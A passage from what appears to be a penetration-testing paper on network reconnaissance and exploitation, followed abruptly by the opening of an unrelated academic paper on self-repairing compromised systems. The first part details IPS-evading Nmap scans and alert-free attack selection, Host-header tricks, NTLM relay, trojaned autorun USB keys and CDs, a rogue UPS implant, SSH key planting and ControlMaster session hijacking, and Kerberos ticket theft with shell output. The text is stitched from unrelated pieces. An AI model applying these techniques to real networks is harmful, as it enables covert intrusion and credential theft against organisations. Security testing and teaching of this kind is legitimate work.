DNS zone transfers, Whois requests, and reverse DNS lookups. These tools fall short of being able to show what hosts exist on a given IP or what other domains are owned by the same person. 3.2.1 Discovery Services Thankfully, a number of great new web services are available that can dig even deeper. The CentrolOps.net and DigitalPoint.com web sites provide a number of useful services for network discovery. CentralOps.net provides a ”Domain Dossier” service which combines the various DNS and Whois requests into sin- gle report, with the option to perform a quick port scan as well. The Digital- Point.com tools section provides a zone transfer tool, allowing you to gather information without allowing the target to see your real source address. The DomainTools.com web site provides a number of great features, but the ”Reverse IP” utility is by far the most valuable. This utility accepts an IP address or host name as an input and provides a list of all domains that reverse back to that IP. Unfortunately, the full result set is only available to members, but a trial account is available for free. The ”Reverse IP” feature is a great way to determine what other web sites and businesses share the same server. For example, a ”Reverse IP” query of Defcon.netprovides the following two result sets: 8 Results for 216.231.40.180 (Defcon.net) Website DMOZ Wikipedia Yahoo 1. Darktangent.net 0 listings 0 listings 0 listings 2. Defcon.net 0 listings 0 listings 0 listings 3. Defcon.org 1 listings 18 listings 1 listings 6 4. Hackerjeopardy.com 0 listings 0 listings 0 listings 5. Hackerpoetry.com 0 listings 0 listings 0 listings 6. Thedarktangent.com 0 listings 0 listings 0 listings 7. Thedarktangent.net 0 listings 0 listings 0 listings 8. Thedarktangent.org 0 listings 0 listings 0 listings 13 Results for 216.231.40.179 (Defcon.net) Website DMOZ Wikipedia Yahoo 1. 0day.com 0 listings 0 listings 0 listings 2. 0day.net 0 listings 0 listings 0 listings 3. Darktangent.org 0 listings 0 listings 0 listings 4. Datamerica.com 0 listings 0 listings 0 listings 5. Datamerica.org 0 listings 0 listings 0 listings 6. Dcgroups.org 0 listings 0 listings 0 listings 7. Digitalselfedefense.com 0 listings 0 listings 0 listings 8. Infocon.org 0 listings 0 listings 0 listings 9. Jefflook.com 0 listings 0 listings 0 listings 10. Pinglook.com 0 listings 0 listings 0 listings 11. Republicofping.com 0 listings 0 listings 0 listings 12. Securityzen.com 0 listings 0 listings 0 listings 13. Zeroday.com 0 listings 0 listings 0 listings The indirect discovery methods mentioned above are great to get started, but a more active approach is needed to obtain detailed network information. 3.2.2 Bounce Messages One of the best techniques available for internal network discovery is the e-mail ”bounce” feature of many mail servers. The attack works by sending an email destined to a non-existent user at the target organization. The email server will send a bounce message back indicating that the user does not exist. This bounce message often contains the internal IP address and host name of the mail server itself. This technique is particularly effective against Exchange servers that are placed behind a mail relay of some sort. For example, the following headers expose the internal host name and IP address of RSA.com’s mail server: Received: (qmail 10315 invoked from network); 28 Jun 2007 15:11:29 -0500 Received: from unknown (HELO gateway1.rsasecurity.com) (216.162.240.250) by [censored] with SMTP; 28 Jun 2007 15:11:29 -0500 Received: from hyperion.rsasecurity.com by gateway1.rsasecurity.com via smtpd (for [censored]. [xxx.xxx.xxx.xxx]) with SMTP; Thu, 28 Jun 2007 16:11:29 Received: from localhost (localhost) by hyperion.na.rsa.net (MOS 3.8.3-GA) with internal id DEP35818; 7 Thu, 28 Jun 2007 16:18:14 +0500 (GMT-5) Date: Thu, 28 Jun 2007 16:18:14 +0500 (GMT-5) From: Mail Delivery Subsystem <[email protected]> Message-Id: <[email protected]> To: user@[censored] MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="DEP35818.1183029494/hyperion.na.rsa.net" Subject: Returned mail: User unknown (from [10.100.8.152]) 3.2.3 Virtual Hosting It is common practice to host multiple web sites on a single web server using virtual hosting. A common configuration error is to host an internal or employee- only web site on the same physical server as an external web site. When the server is accessed over the internet using the external host name, the external web site is displayed, However, an attacker can connect to the web server, specify an internal host name in the HTTP Host header, and gain access to internal- only resources. For example, the following host names are often used to host internal resources and can be exposed on Internet-facing web servers: • localhost • www • intranet • admin The Apache HTTP web server supports a feature called ”Dynamic Virtual Hosting”[2]. This feature allows new virtual hosts to be added by creating a subdirectory on the web server and adding the appropriate DNS entry. When Apache sees a web request, it will look for a subdirectory containing the name sent in the HTTP Host header. This feature contains an interesting flaw. If a Host header is specified that contains %00/, the server will return a listing of all available virtual hosts as an Apache directory listing. This technique only works if directory indexes are enabled for the ”global” configuration. Virtual host name tricks work for more than just virtual host configurations. Many web applications will allow special access if the ”localhost” , ”127.0.0.1”, or ”admin” host names are placed into the HTTP Host header. 8 3.2.4 Outbound DNS An interesting approach to network discovery is to analyze DNS queries sent by internal DNS servers to external hosts. To perform this test, an auditor would configure an external DNS server to handle all requests for a designated subdomain. To force the DNS lookup to occur, an email can be sent to a non- existent internal user from an addressed within the configured subdomain. This trick can also work when specifying a random host name within the subdomain as the HTTP Host header of a web request. Regardless of how the DNS lookup is initiated, the important part is what the request itself looks like when it reaches the auditors DNS server. The source port of the request can indicate the type of server which sent the request and whether or not the request was proxied through a NAT device.By forcing the target to perform multiple DNS requests, strong fingerprinting can be performed. For example, some DNS servers will use the same source port for all outbound requests. Other DNS servers will use a predictable transaction ID sequence. Certain brands of DNS caches and load balances will cache all records of the DNS reply,even if it contains a name other than one included in the original request. Through this type of analysis, it is possible to fingerprint and potentially spoof responses to internal DNS queries. 3.2.5 Direct Contact When all else fails, the most straightforward way to determine network location and topology is by attacking the users directly. In this scenario, the auditor would build a list of email addresses and instant messaging IDs for the target organization. The auditor would then sent a HTTP link to a web site that per- formed a series of tests against the users browser. In this fashion, its possible to determine the internal and external addresses of the user’s workstation and the different versions of software they have installed. For example, the Metasploit Decloak tool reports the following information for one of the authors’ worksta- tion: External Address: xxx.xxx.197.131 Internal Host: shank Internal Address: 10.10.xxx.xxx DNS Server (Java): 151.164.20.201 DNS Server (HTTP): 151.164.20.201 External NAT (Java): xxx.xxx.197.131 9 3.3 Firewalls and IPS Firewalls have evolved from simple packet filters to stateful, content-aware net- work gateways, These products can intefere with a penetration test and waste the time of the auditors and network administrators alike. The first step to mitigating the problems caused by these devices is to identify and fingerprint them. Once the type of device is known, working around content-filters and avoiding blacklisting is much easier. 3.3.1 Firewall Identification One of the easiest ways to determine the type of firewall in use is to exame the source port allocation scheme of outgoing connections. This can be accom- plished in a number of ways, but looking for outbound web connections to an advertised (or spammed) web site is often the quickest approach. Another direct method of fingerprinting a firewall is by sending a series of TCP connections attempts with various parameters to a service protected by the firewall. For example, the SYN packets sent by the hping2[3] tool are silently dropped by Netscreen firewalls (due to missing TCP options). 3.3.2 IPS Identification Intrusion Prevention Systems (IPS) are designed to detect and block attacks before they reach the target host. These devices can be fingerprinted by sending a series of attacks with slightly different data and seeing which ones are blocked. A tree model can be constructed that makes it easy to identify a specific IPS and signature revision. For example, the TippingPoint IPS can detect PHF requests when 0x0D is used to separate the method and URI of the HTTP requests, but fails to detect the request when 0x0C is used instead. Other IPS devices will allow 0x0D as well. To avoid detection by an administrator, a set of attacks can be chosen that are marked as ”drop with no alert” in the default configuration of the IPS. 3.4 Application Discovery Applications are the real target of most attacks. Applications host the data and manage access to it. Every application is a potential entry point into the network, but finding these applications can be challenging. The most common way to enumerate applications is to use a service scanner, such as Nmap[4], Amap[5], Nikto[6], or even Nessus [7]. 10 3.4.1 Slow and Steady wins the Deface The existing tools do a good job at finding known applications, but they also trigger intrusion prevent systems and active firewalls, They key to avoiding alerts and IP blacklisting is through the use of slow, targetted service scans. For example, the following Nmap command line will detect Microsoft SQL Servers without triggering the portscan detector of a popular IPS: # nmap -sS -P0 -T 0 -p 1433 A.B.C.D/24 3.4.2 Finding Web Apps with W3AF Andrews Riancho released a tool called the Web Application Attack and Audit Framework[8] that is a do-everything console for the HTTP protocol. This tool includes a discovery feature that allows an auditor to locate applications on a web service through brute force and intelligent guessing. 3.4.3 Metasploit 3 Discovery Modules The latest version of the Metasploit Framework includes a number of appli- cation discovery modules, located in the auxiliary/scanner/ subdirectory. The modules can be used to detect services that are difficult to find otherwise. For example, the sweep udp module can detect DNS, SNMP, NetBIOS, Portmap, and a number of other UDP services all in one quick pass: [*] Sending 6 probes to xxx.xxx.xxx.0->xxx.xxx.xxx.255 (256 hosts) [*] Discovered DNS on xxx.xxx.xxx.19 (TinyDNS) [*] Discovered DNS on xxx.xxx.xxx.249 (BIND 8.4.6-REL-NOESW) [*] Discovered DNS on xxx.xxx.xxx.250 (Microsoft) [*] Discovered SNMP on xxx.xxx.xxx.170 (Ethernet Routing Switch) [*] Discovered SNMP on xxx.xxx.xxx.171 (ProCurve J8692A) 3.5 Client Application Discovery Client applications, such as web browsers and email clients, make a great entry point to an otherwise-secure network. While it is possible for an administrator to lock down a single web server and firewall, preventing each and every internal user from direct attacks is extraordinarily difficult. In order to determine the types of attacks to launch at internal users, the auditor needs to know what types of software is in use and whether e-mail delivery of exploit content is possible. 11 3.5.1 Browser Fingerprinting The web browser is the new vector of choice for exploitation. Identifiying the target’s browser can be helpful in understanding what types of attacks to per- form. Once the browser has been identified, an auditor is able to choose specific attacks that are highly likely to succeed. There are several methods for finger- printing browsers, but the most common method is to entice the target to access a web page on a server under the auditor’s control. When the target connects to the server, a web page is provided that performs a series of server-side and client-side tests to determine the targets browser, operating system, and some- times even patch level. The User-Agent header sent by the browser contains a wealth of knowledge all by itself: Internet Explorer on Windows 2000 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Firefox running on Windows XP Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox Opera on Windows 2000 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 2000) Opera 7.0 Mozilla on Windows 2000 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 3.5.2 Mail Client Fingerprinting Mail clients are often underestimated as a potential attack vector. Unfortu- nately, identifying a target’s mail client poses some challenges. In the corporate world, Message Delivery Notifications (MDNs) can be used to obtain a reply message that contains the name and version of the mail client in use. When MDNs are not available, the auditor must rely on abusing ambiguities within the MIME standard to show different content to each mail client. The message below contains the important headers from a MDN sent by an Outlook Express client: MIME-Version: 1.0 Content-Type: multipart/report; report-type=disposition-notification; boundary="----=_NextPart_000_0002_01C7BA3D.0DA9ED40" X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 12 3.6 Process Discovery Automated business processes can often create windows of opportunity for an attacker. Many financial organizations use insecure file transfer methods to share information, but since the attack window is only open for a few minutes at a time, the perceived risk is low. For example, the FTP protocol is still in wide use at banking organizations, and even if the files are encrypted, the control channel is not. The difficulty in auditing a business process is determining when and how it is performed. 3.6.1 Traffic Monitoring with IP IDs One of the great features of the IPv4 protocol is how the IP ID field is im- plemented. Many operating systems will increment this field by one for every packet sent by the host. This allows an auditor to determine how many packets have been sent within a given window of time and allows for interesting attacks such as blind port scanning[9]. The auditor can track traffic patterns over a long period of time by probing the target at regular intervals and recording the change in the received IP ID value. This type of monitoring can discover business processes such as file transfers, backup operations, and other bursts of activity caused by automated systems. 3.6.2 Usage Monitoring with MS FTP The Microsoft FTP service allows anonymous users to execute the ”SITE STATS” command. This command returns a count for each unique command executed on the server since the service was started. An auditor can access the server and poll these stats over a long period of time to build up a timeline of when certain operations are performed. For example, the STOR command stat is incremented when a file is uploaded, so watching for a jump in this stat can give provide the time that an automated upload is performed. The following output from Microsoft’s public FTP server demonstates that out of over two billion login attempts, only 3035 STOR commands were issued. SITE STATS 200-ABOR : 2138 ACCT : 2 ALLO : 32 APPE : 74 CDUP : 5664 CWD : 388634 DELE : 1910 FEAT : 2970 13 HELP : 470 LIST : 3228866 MDTM : 49070 MKD : 870 MODE : 3938 NLST : 1492 NOOP : 147379 OPTS : 21756 PASS : 2050555100 PASV : 2674909 PORT : 786581 PWD : 179852 QUIT : 143771 REIN : 16 REST : 31684 RETR : 153140 RMD : 41 RNFR : 58 RNTO : 2 SITE : 20485 SIZE : 76980 SMNT : 16 STAT : 30812 STOR : 3035 STRU : 3299 SYST : 175579 TYPE : 3038879 USER : 2050654280 XCWD : 67 XMKD : 12 XPWD : 1401 XRMD : 2 3.6.3 Web Site Monitoring with HTTP The HTTP 1.1 protocol supports a ”Last-Modified” attribute. When a compli- ant HTTP server (such as Apache) receives a request for static content, it will automatically return the date at which the resource was last modified. This feature can be used to expose automated update times for corporate web sites. 14 Chapter 4 Information Exploitation 4.1 Introduction The last chapter focused on information discovery techniques. This chapter builds on these techniques by abusing documented features to compromise target systems. 4.2 External Networks The external network is the starting place for most penetration tests. External hosts are often locked down, patched, firewalled, and filtered. The only targets available are intentionally exposed applications, VPN services, and temporary paths for client-initiated UDP sessions. 4.2.1 Attacking File Transfers File transfers flowing between internal and external hosts can be subject to attack, depending on the protocol and the firewall involved. Attacking FTP Transfers The FTP protocol uses epheremal ports for data transfers, exposing an open data port on either the client or the server to a race condition. Depending on the FTP software, it may be possible to connect to the data port and receive the contents of a downloaded file or be able to write the contents of an uploaded 15 file. The pasvagg.pl[13] script can be used to hijack FTP transfers when the server allows anonymous access, data ports are allocated sequentially, and the FTP server allows connections to the data ports from IP addresses other than the initiating client. Any FTP server that supports ”FXP” mode is vulnerable to this attack. Attacking NFS Transfers The NFS protocol involves a number of independent RPC services, each of which is subject to interference when used over a NAT gateway. The NFS services will accept a response from any source IP and port that contains valid data, even if that host has no relation to the address that was specified in the NFS connection parameters. The reason for this is to support multi-homed NFS servers, where RPC responses flow back from a different IP then the address that the client connected to. To accomodate NFS traffic over NAT, older versions of the Linux kernel and many modern NAT devices will allow UDP responses to be sent back to the client from other IP addresses. In effect, this exposes the client RPC services to the Internet when the client establishes a connection from behind a NAT device. The challenge from an auditor’s viewpoint is finding the epheremal port used to relay the connection and then identifying what RPC service it belongs to. 4.2.2 Attacking Mail Services A typical mail system is composed of one or more relay systems, some form of antivirus/spam filter, the real mail server itself, and finally the user’s email client. In most penetration tests, the focus is on the intermediate systems, however the mail clients themselves can be targeted. For example, on Mac OS X, if two email messages are received that contain the same attachment name, the newer message can overwrite the previous message’s attachment if enough fields match. This can be used to replace a trusted attachment with a backdoor within the users mailbox. 4.2.3 Attacking Web Servers Even though web servers are the most visible targets on an external network, many penetration testers overlook obvious vulnerabilities. A brute force of common file and directory names can expose administrative areas, backup files, archives of the entire site, and much more. Sending internal host names in the HTTP Host header can provide access to internal sites and employee-only areas. Nearly all web servers have applications installed these days and any unrecognized application should be acquired from the vendor and audited for 16 flaws. Finally, some load balancers have trouble with long-lived HTTP sessions and can leak data from other users given the right load, 4.2.4 Attacking DNS Servers Over the last ten years, most DNS servers have been configured to reject zone transfers from unauthorized hosts. Instead of pulling the entire zone, the auditor must brute force possible domains and host names to determine whether those entries exist. Many DNS servers are misconfigured to allow reverse DNS lookups of private addresses, exposing the names and addresses of important servers on the internal network. As mentioned in outbound DNS section, many DNS servers are still vulnerable to transaction ID prediction, or race conditions such as those created by the Birthday Attack[10]. A successful attack can lead to injection of false DNS records into the cache and a potential hijack of internal and external domains, depending on the configuration of the network. 4.2.5 Attacking Database Servers Although database servers are rarely exposed to the external network, its a good idea to perform a quick scan for common database services anyways. Many busi- ness applications (Saleslogix, etc) run in a two-tier mode that requires direct access to the database server for them to function. Keep in mind that some database servers, such as Informix, still contain publicly-known, unpatched vul- nerabilities. 4.2.6 Authentication Relays One of the most effective attacks on internal users from outside of the net- work relies on authentication relays. Many organizations expose Microsoft IIS or Exchange servers to the Internet. These servers allow Windows domain au- thentication using the NTLM protocol. If the victim’s firewall has not been configured to drop outbound connections on port 139 and 445, it is possible to send a user an email message, or redirect them to a web page, that will force their workstation to initiate a SMB connection to a host of your choice. At this point, the actual impact depends on the version of Windows on the workstation and in some cases, what web browser or mail reader they use. On Windows 2000 and earlier systems, the browser will automatically negotiate NTLM authentication with the remote SMB server, using the current username and password of the user. If the auditor provides a malicious SMB server that relays this authentication to an externally accessible IIS or Exchange server, they can obtain direct access to that user’s account. On Windows XP and 17 never systems, this technique is not always possible from an external network. The NTLM credentials used by SMB, HTTP, SMTP, POP3, and IMAP4 are usually interchangable, provided you have a tool to perform the relay. An alternative to relaying the authentication credentials is to capture and crack the password hash itself. A number of tools exist for this purpose, including the venerable L0phtcrack (no longer available) and Cain and Abel[11].More information about the capture process can be found in Warlord’s article in the Uninformed Journal[14]. 4.2.7 Free Hardware Last resort. The audior travels the office of the target and hands out free USB keys (autorun, of course) to anyone who will answer a short survey. Alterna- tively, he can snail-mail CDROMs containingtrojan, wrapped into an autorun or application installer (goodbye privilege separation on Vista). Possible labels for the CD include ”Free MP3s”, ”Complimentary License”, and so on. If the budget is available, the auditor can mail out portable handheld devices, such as the Nokia Internet Tablet or the Sharp Zaurus, containing a full suite of Linux-based backdoors. Alternatively, the auditor can create a custom UPS power brick containing an embedded PC. The auditor would purchase a 350VA or higher battery backup that has surge protection for ethernet ports, rip out the battery, splice a power strip into the main power adapter, insert the guts of a Linksys WRT54L, insert a four-port Ethernet switch, and prepare to visit the target’s office. Once in- side the office, the auditor can make an excuse to be near the network devices (printers, fax machines, etc) and install or swap out the rogue UPS. An example of this modification can be found at [12]. 4.3 Internal Networks The term internal network usually refers to the soft, squishy interior of most corporate networks, but it can also refer to a network provided to a specific vic- tim by way of a rogue access point. Once internal network accessed is obtained, a wide range of new attacks become possible. 4.3.1 NetBIOS Names The NetBIOS protocol is used by a number of applications to locate important hosts on the network. Some NetBIOS names are treated as special cases. For example, the NetBIOS name ”WPAD” will automatically be used as a HTTP 18 proxy server if it resolves. The name ”ISASRV” is a special case for clients looking for an ISA Server Proxy. Third-party applications have similar pref- erences. The Computer Associates Licensing Client will look for a local host called CALICENSE to send authorization requests to. 4.3.2 DNS Servers DNS servers on the internal network are often configured to allow unauthen- ticated updates. Even when a Microsoft DNS server is configured to reject DNS-based update requests, its still possible to inject names into the local DNS zone by passing these names as the hostname of DHCP client requests (the -h option for the ISC dhcpcd client). These types of DNS attacks can allow an internal attack to hijack all access to a critical system, impersonate servers, and stage new attacks against the affected clients. 4.3.3 WINS Servers In addition to NetBIOS and DNS, Windows clients also support name lookups via the WINS protocol. Normally, the DHCP server is responsible for telling each client what server to send WINS requests to. However, through DNS hijacking and NetBIOS announcements, it is possible to convince a client to use a malicious WINS server instead. 4.3.4 Authentication Relays In the External Networks section, we describe a relay attack against SMB and other NTLM related services. From the external network, this attack is some- what limited, since Windows XP and newer systems will not autonegotiate NTLM. On the internal network, this attack can be devastating when combined with one of the DNS, WINS, or NetBIOS attacks mentioned above. If the au- ditor can spoof the name of a trusted server, the relay attack can be used to connect back to the client system via SMB, and if the user has administrative access, take full control of the system via the file system and services functions. 4.4 Trust Relationships Trusts are one of the most important things to understand and use in a pen-test. Trusts can encompass many concepts such as: • Host to host 19 • Network range to host • User to host • User to network • Authentication tickets/tokens • Applications Trusts are basically agreements between two entities that allow for some kind of access. If an auditor has access to one entity, then they should be able to utilize the trust with the second entity to gain an advantage. Often the target an auditor wants to attack is out of reach for various reasons such as firewalls, TCP Wrappers, NAT’s etc. Leveraging trusts can be a powerful technique for getting around these types of barriers. For example, lets say the target is 192.168.0.1 and the auditor has acquired the username and password by some means. The target is running SSH on port 22 for remote logins. However, the target is also configured with TCP Wrappers which only allow SSH connections from networks in the 192.168.1 address range. The auditor would not be able to directly log into the target under these conditions. However if the auditor was able to compromise a system on the 192.168.1 network, then by leveraging that trust they would be able to log into the system over SSH from that network instead or via a portforward such as: # Create a port forward from 192.168.1.2 to 192.168.0.1 $ datapipe 192.168.1.2 22 192.168.0.1 22 # (This bounces through the port forward to 192.168.0.1 port 22) $ ssh 192.168.1.2 One real world example of an interesting trust encountered by the authors was in the form of a custom software licensing and distribution application. All the computers on the target network were required to have this software in- stalled and the software ran with administrative privileges. This means that the application was ”trusted” by every computer. This application carried an administrative username and password inside its code in order to operate. By reverse engineering this application the account information was extracted. The auditors then leveraged the fact that this account was widely trusted in order to compromise every host on the network. Any resource trusted by more than one user or computer is a potential leverage point for the auditor. There are several specific trust technologies which often provide good opportu- nities for the auditor to gain access on many more hosts. These will be covered in the next sections. 20 4.4.1 NFS Home Directories Many large networks use a Network File System (NFS) protocol server to share files and home directories to the clients. There are many ways to configure this type of system but generally port 2049 UDP or TCP is open on the server, a directory is exported either to anyone or to specific hosts and read/write/execute permissions are assigned. The clients then mount these exported directories which appear as just another local directory on their file systems. Often NFS is used in conjunction with Network Information Services (NIS) to automatically configure what exports should be mounted and authenticate users. These types of systems are often setup so that any user can log in on any machine and receive the same home directory. An attacker may develop a scanner for port 2049 in order to locate any NFS servers on the target network. An auditor can use a tool called showmount in order to gain information about how the NFS server is configured. # su - alice [alice@homeserver ~] cd .ssh [alice@homeserver .ssh] ssh-keygen -t rsa Enter file in which to save the key (/home/alice/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/alice/.ssh/id_rsa. Your public key has been saved in /home/alice/.ssh/id_rsa.pub. The key fingerprint is: e7:49:6a:eb:a9:a6:e4:b2:66:41:7e:ee:23:12:4c:28 alice@homeserver [alice@homeserver ~]cp id_rsa.pub authorized_keys ; showmount -a homeserver tetris:/vol/home/alice [alice@homeserver ~] ssh tetris Last login: Thu Jun 28 11:53:18 2007 from homeserver [alice@tetrix ~] 4.4.2 Hijacking SSH SSH can also be used to gather intelligence about other potential targets on the network. Every time a user connects to a system using SSH a file is created in /.ssh/ called known hosts. By examining this file an attacker can see other hosts that trust the user. [alice@homeserver .ssh]$ cat known_hosts dontownme,192.168.1.20 ssh-rsa AAABB3Nza[...]QSM= 21 justanothertarget,192.168.1.21 ssh-rsa AAAB2NzaC[...]rQ= Using the SSH keys described above, an attacker with access to these keys can potentially log into any of these hosts as alice, without a password. SSH master mode is another feature which can help the auditor in penetrat- ing new hosts without using exploits. Master mode lets the user to set up a tunnel which allows multiple sessions over the same SSH connection, without re-authentication. This means that if one SSH connection is setup to a host, using master mode, then an attacker and spawn other sessions over this same connection without having to know a password or have access to a key. Another benefit of master mode is that it is client dependent so the server version doesn’t matter. The implications of this are that if you can replace the users ssh client, master mode will work regardless of the version of the server at the other end. There are many ways to convince a user to SSH in master mode. One obvious method would be to alias SSH to SSH -M so that the user runs it without knowing. Another method is to modify the users SSH config file to always run in master mode. Edit ~/.ssh/config Add: Host * ControlMaster auto ControlPath ~/.ssh/sockets/%r@%h:%p Mkdir ~/.ssh/sockets Now when the user SSH’s to another host, it will be as if the used the -M switch. If you can become the user, you can then SSH to the host as well without authenticating over the existing connection. A real world example of using SSH hijacking to gain access to many hosts was when the authors managed to compromise a major home directory server exporting over NFS to hundreds of clients. The authors dropped their own passwordless ssh key in every users home .ssh/ directory and then used a script to extract all unique hosts from every known hosts file. They could then SSH to 100’s of nodes on the network, as any user they chose. 4.4.3 Hijacking Kerberos Kerberos is an authentication protocol. It provides strong authentication for client/server applications by using secret-key cryptography. Kerberos generates ”tickets” to be used for authentication to various services. On many operating 22 systems this ticket is stored as a file owned by the specific user in the /tmp directory starting with the name krb. Kerberos hijacking is a process of capturing a users ticket and using it to access resources that trust the user. In general this means logging into other computers that accept the users kerberos ticket. This attack abuses the fact that each node trusts the kerberos system. This allows the attacker to move around a network, compromising hosts, without using exploits or setting off alarms because in general it will look like legitimate user behavior. The general procedure to hijack kerberos tickets begins with gaining root access to a kerberized system with multiple users. It continues with finding a user to target and listing all the files in /tmp. The attacker then su’s to the user and invokes klist to figure out what ticket filename is expected. Then the ticket is copied from /tmp to the expected filename. Finally kinit is invoked again to check the ticket status. Now the attacker should be able to log into any kerberized system that trusts the hijacked user, without having to supply a password. An example follows. What a real user sees when invoking klist: target|alice|1> klist Default principal: alice@target Valid starting Expires Service principal 06/28/07 11:03:25 06/28/07 21:03:25 krbtgt/target@target renew until 07/05/07 11:03:25 Kerberos 4 ticket cache: /tmp/tkt5116 klist: You have no tickets cached This means that the user alice has a ticket assigned which allows her to con- nect to any kerberized system, without supplying a password, until the date of expiration indicated. What attacker does: bash-3.00# ls -al /tmp/krb* -rw------- 1 alice eng 383 Jun 28 08:19 /tmp/krb5cc_10595_ZH8kq4 <---- FREE ACCESS! Bash-3.00# klist Ticket cache: FILE:/tmp/krb5cc_6425 <---- expected filename Default principal: valsmith@target Valid starting Expires Service principal 06/28/07 12:14:50 06/28/07 22:14:50 krbtgt/target@target renew until 07/05/07 12:14:39 Change the file to the expected name and check status: 23 bash-3.00# cp /tmp/krb5cc_10595_ZH8kq4 /tmp/krb5cc_6425 bash-3.00# klist Ticket cache: FILE:/tmp/krb5cc_6425 Default principal: alice@target <--- we are now her! Valid starting Expires Service principal 06/28/07 08:19:42 06/28/07 18:19:42 krbtgt/target@target renew until 07/05/07 08:19:42 There are other types of attacks against kerberos as well. Another method is for the attacker to generate or acquire a valid ticket. The attacker then places their username in another users .klogin file. Now the attacker should be able to log in anywhere the target user is trusted. Kerberos will accept the attackers ticket and treat him as if he were the target. It is also important to copy the ticket files off to a safe location so if a user runs kdestroy the tickets won’t be lost. Some intelligence gathering can be done with kerberos as well. Often there will be a .klogin in the root users home directory indicating which users are authorized to SU to root using kerberos. This gives the attacker a list of high profile users to target with other attacks with the end goal of gaining root access without having to use a traditional exploit. The process of kerberos ticket stealing can be scripted an automated to harvest hundreds or even thousands of user tickets depending on the size of the network. A case study example of kerberos hijacking involved a target running a little used operating system and architecture. No known exploits were available for the auditors to use against this target. The server was also protected with TCP wrappers to prevent unauthorized logins. However the target trusted several large home directory servers running NFS, NIS, SSH and kerberos. The auditors gained access to one of these home directory servers and began looking at user known hosts files to find a user who had a history of logging into the target. Once a user was located their kerberos ticket was stolen and the auditors logged into the target from the home directory server. This allowed the auditor to bypass wrappers and avoid being flagged as a suspicious user. Once logged in they were able to view the .klogin file for root and gain a list of privileged users to target. These users resided on the same home directory server and so their tickets were hijacked as well. The auditors were then able to log in to the target and type ksu, thus gaining root. 24 Chapter 5 Conclusion The techniques described in this paper demonstrate how even a fully-patched network can be compromised by a determined attacker. Professional security testers have a wide range of attacks available to them that are rarely, if ever, part of a checklist-based methodology. The best attack tool is still the human brain. 25 Bibliography [1] Paterva A new train of thought http://www.paterva.com [2] Apache Dynamic Virtual Hosting http://httpd.apache.org/docs/2.0/vhosts/mass.html [3] hping2 Active Network Security Tool http://www.hping.org/ [4] Nmap Network Security Scanner http://insecure.org/nmap/ [5] Amap Application fingerprint mapper http://www.thc.org/thc-amap/ [6] Nikto Web Server Vulnerability Scanner http://www.cirt.net/code/nikto.shtml [7] Nessus Vulnerability Scanner http://www.nessus.org/ [8] Web Application Attack and Audit Framework http://w3af.sourceforge.net/ [9] Blind Port Scanning http://insecure.org/nmap/idlescan.html [10] An Implementation of a Birthday Attack in a DNS Spoofing http://archive.cert.uni-stuttgart.de/bugtraq/2003/04/ msg00311.html [11] Cain & Abel http://www.oxid.it/cain.html [12] Rogue Server Project http://www.inventgeek.com/Projects/projectsilver/ projectsilver.aspx 26 [13] Passive Aggression http://www.seifried.org/security/network/ 20010926-ftp-protocol.html [14] Attacking NTLM with Precomputed Hashtables http://uninformed.org/?v=3&a=2&t=sumry 27
pdf
Towards an Approach for Automatically Repairing Compromised Network Systems Julian B. Grizzard, Sven Krasser, Henry L. Owen School of Electrical and Computer Engineering Georgia Institute of Technology Atlanta, Georgia 30332–0250, USA {grizzard, sven, owen}@ece.gatech.edu Gregory J. Conti, Eric R. Dodson College of Computing Georgia Institute of Technology Atlanta, Georgia 30332-0280, USA {conti, edodson}@cc.gatech.edu Abstract The widely accepted method to repair a compromised sys- tem is to wipe the system clean and reinstall. We think that there may be alternative methods. Specifically, we envision systems that are capable of automatically recovering from system compromises. Our proposed approach is a repair agent that resides in an isolated area on the system. We use a virtual machine approach to isolate the repair agent. The repair agent should roll back any undesirable changes, de- termine the point of entry, and prevent further compromise. 1. Introduction Conventional wisdom states that once a system has been compromised, it can no longer be trusted. An attacker that has compromised a system can modify any state within the system, and so it is difficult to determine the extent to which the attacker has modified the system. Further conventional wisdom states that the only option to re-establish trust in a compromised system is to completely reinstall the operat- ing system from known good media. We propose that systems can be built in such a way that they automatically repair themselves after a system com- promise has occurred. We call systems that are capable of automatically repairing themselves self-healing systems. The entire mechanism that is responsible for repairing the system is called the repair agent. In addition to repairing the system, the repair agent must re-establish trust in the compromised system such that the user can again trust the system. Re-establishing trust in a compromised system is a dif- ficult problem. One important reason for this is because traditional systems lack a true trusted computing base. In order to incontestably re-establish trust in a compromised system, an indisputable foundation of trust is needed. Our solution to this problem is a trusted immutable kernel ex- tension (TIKE). TIKE can be used as a safe haven for the self-repair agent. In this work, we use a virtual machine approach to es- tablish a core foundation of trust as a proof of concept. The host operating system runs directly on the physical machine and is considered to be TIKE. The guest operating system runs on virtual hardware and is considered the untrusted system. The guest operating system accesses the physical hardware via proxy calls through the host operating system. We discuss how self-healing systems can be built into the TIKE framework so that systems can automatically recover from compromises. Furthermore, we provide an overview of the details for such systems. There are many challenges to an approach for self-healing systems, and in this work we begin to address these challenges. 2. Motivation With the proliferation of exploits targeted to today’s computer systems, an attacker has the ability to compro- mise a vast number of systems. Once an attacker has com- promised a system, he or she will want to retain access to that system even if the original security hole is patched. In order to retain access to a compromised system, the at- tacker will often install a rootkit onto the target system [1]. A rootkit will add a backdoor that can be used to reenter the system at a later time. As an example of the real-world threat, we set up a Red Hat 6.2 system on the Georgia Tech honeynet [2], and within a matter of days an attacker had compromised the box and installed a rootkit on the system. We propose an approach for automatically repairing compromised systems even if a rootkit has been installed on the system. There are three important questions that come up when assessing the validity of our approach: • Why repair rather than prevent? The complexity of computer systems continues to in- crease. As the complexity increases, it becomes more difficult to prevent software or human errors that lead to system compromises. It may not ever be possible to completely prevent system compromises, so we need to explore methods for dealing with system compro- mises. • Why repair rather than reinstall? In some instances it may be economically more effi- cient to repair part of a system than to reinstall the entire system. If the repair can be automated, then advantages may include minimizing down time, min- imizing compromise damage, and minimizing admin- istrative overhead. • Why should methods other than reinstallation be ex- plored? It is commonly accepted that once a system has been compromised there is only one solution: wipe 